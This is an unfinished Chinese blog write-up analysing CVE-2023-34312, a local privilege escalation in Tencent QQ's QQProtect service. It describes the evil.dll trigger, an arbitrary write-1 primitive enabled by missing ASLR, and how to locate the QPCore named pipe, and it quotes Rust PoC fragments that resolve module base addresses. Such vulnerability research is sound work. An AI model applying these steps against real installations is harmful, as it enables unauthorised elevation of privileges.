Joe1sn's Cabinet

【漏洞复现】CVE-2023-34312分析

关于QQ提权漏洞CVE-2023-34312的分析

!!未完待续!!

PoC分析

PoC地址:https://github.com/vi3t1/qq-tim-elevation,用rust写的按照教程编译好了就可以直接打了

由于没有开启ASLR保护所以很稳

psc

image-20230703201740757

接着是分析一下PoC

触发

触发方式是.\QQProtect .\evil.dll,同时必须保持tinyxml.dll在同一目录下,这里用QQ9.7.7举例子。

image-20230703202240244

首先是GetCommandLineW获得启动参数,接着判断置否存在下列关键参数,然后不存在关键参数直接到了StartAddress

使用QQProtectEngine.dll中的RunQQProtect,设置回调函数sub_40C950

image-20230703203114437

回调函数中的a2指针可以将任何地址的值设置为参数分析时的参数个数值,也就是 1

image-20230703203402262

image-20230703211606183

那么现在我们就有了将任意地址写为1的能力,恰好QQProtect.exe没有开启ASLR保护,若开启的话下图应该存在IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE

image-20230703204248679

PoC

和上文中结合起来,在QQProtect中导入了tinyxml.dll,所以可以修改这个dll的内容来执行攻击。

image-20230704082005386

  • PoC首先获取了evil.dll的路径,

    1
    2
    3
    let evil_dllpath: String = std::env::args().nth(1).unwrap();
    let evil_dllpath: std::path::PathBuf = std::path::Path::new(&evil_dllpath).canonicalize().unwrap();
    println!("evil dll: {}", evil_dllpath.display());

    接着打开服务获得QQProtectEngine.dll的基地址(因为他开启了ASLR保护)。
    image-20230704082356731
    在PoC中打开了Windows的QPCore服务然后获取配置信息,从配置信息中提取出qqprotect.exeQQProtectEngine.dll的路径。
    由于LoadLibraryExW中使用了DONT_RESOLVE_DLL_REFERENCES所以不会调用DLLMain,若函数成功,则返回值是已加载模块的句柄,从句柄的第一个值提取出加载的地址。注意的是,这里是首先加载tinyxml.dll,所以加载的QQProtectEngine.dll的地址在这里同一样适用,这样就获得了QQProtectEngine.dll的基地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    fn get_qqprotectengine_dllbase() -> u32 {
    let manager = ServiceManager::local_computer(None::<&str>, ServiceManagerAccess::ENUMERATE_SERVICE).unwrap();
    let service = manager.open_service("QPCore", ServiceAccess::QUERY_CONFIG).unwrap();
    let service_config = service.query_config().unwrap();

    let qqprotect_exe = windows_args::ArgsOs::parse_cmd(service_config.executable_path.as_os_str()).next().unwrap();
    let qqprotectengine_dll = std::path::Path::new(&qqprotect_exe).parent().unwrap().join("QQProtectEngine.dll");

    unsafe {
    let h = LoadLibraryExW(PCWSTR(HSTRING::from(qqprotectengine_dll.as_path()).as_ptr()), HANDLE::default(), DONT_RESOLVE_DLL_REFERENCES).unwrap();
    let base = h.0 as u32;
    FreeLibrary(h);
    return base;
    }
    }
  • 创建IPC进程间通讯

    如何找到IPC通讯,可以在https://learn.microsoft.com/en-us/sysinternals/downloads/pipelist安装`pipelist`查看所有的命名管道通讯

    image-20230716221331756

    那么在QQProtect.exe一定会有一个连接命名管道的地方,在QQProtectEnginee.dll中使用

    image-20230716230155905

    找到对应的管道命名

    image-20230716230225143

    image-20230716232640237

    (回调分析麻了)之后会进入QSection.dll中的函数,具体逆向可以看B战大佬的视频:https://www.bilibili.com/video/BV1wm4y1E7TL

    image-20230717091525707

    很像一个结构体。加载了QPSection后调用了6号导出函数,之后还需要对结构体进行逆向